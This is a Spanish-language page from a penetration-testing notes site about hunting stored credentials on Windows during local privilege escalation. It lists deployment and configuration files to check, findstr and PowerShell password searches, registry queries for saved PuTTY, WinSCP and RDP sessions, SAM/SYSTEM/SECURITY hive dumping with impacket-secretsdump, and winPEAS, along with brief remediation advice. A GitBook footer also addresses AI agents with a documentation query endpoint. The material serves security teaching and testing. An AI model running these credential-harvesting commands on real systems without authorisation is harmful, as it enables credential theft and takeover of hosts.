> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-credentials-in-files.md). # Credenciales en archivos de Windows Los sistemas Windows pueden conservar credenciales en archivos de implementación, respuesta o configuración. Estos archivos son especialmente valiosos después de obtener un punto de apoyo local limitado. ## Archivos para comprobar ``` C:/Windows/Panther/unattend.xml C:/Windows/Panther/Autounattend.xml C:/Windows/System32/Sysprep/sysprep.inf C:/Windows/System32/Sysprep/sysprep.xml C:/inetpub/wwwroot/web.config C:/Users/*/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt ``` Si una contraseña está almacenada en texto plano, puede reutilizarse. Si el `texto plano` atributo es `falso`, trátelo como codificado o cifrado y analícelo por separado.
Windows deployment file containing credential material
## Puntos clave * Compruebe los archivos de implementación de Windows al principio durante el reconocimiento local. * Valide si una contraseña descubierta está en texto plano, codificada, cifrada o desactualizada. * Corrija esto eliminando los archivos de respuesta después de la instalación y evitando secretos persistentes en los artefactos de implementación. ## Búsquedas útiles Busque primero en ubicaciones previsibles y luego amplíe el alcance si el host es lo bastante pequeño. ```cmd dir /s /b C:\*unattend* C:\*sysprep* C:\*web.config* 2>nul findstr /si /m "password passwd pwd username user= connectionString" C:\Users\*.txt C:\Users\*.ini C:\Users\*.config 2>nul ``` ```powershell Get-ChildItem C:\Users -Recurse -Force -Include *.txt,*.ini,*.config,*.xml,*.kdbx -ErrorAction SilentlyContinue | Select-String -Pattern 'password|passwd|pwd|connectionString|apikey|secret' ``` ## Registro y sesiones guardadas Las comprobaciones del registro son útiles cuando las aplicaciones almacenan perfiles, hosts recientes o credenciales antiguas. ```cmd reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s cmdkey /list ``` ## Fuentes de hashes sin conexión Si tiene privilegios como `SeBackupPrivilege` o acceso de administrador local, exporte los hive y analícelos sin conexión en lugar de leer directamente archivos bloqueados. ```cmd reg save HKLM\SAM C:\Temp\sam.save reg save HKLM\SYSTEM C:\Temp\system.save reg save HKLM\SECURITY C:\Temp\security.save ``` ```bash impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL ``` ## Ayudantes automatizados Use herramientas para detectar lo que las búsquedas manuales no encuentran, pero revise la salida manualmente antes de actuar sobre ella. ```powershell .\winPEASx64.exe quiet cmd fast .\PrivescCheck.ps1 ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-credentials-in-files.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.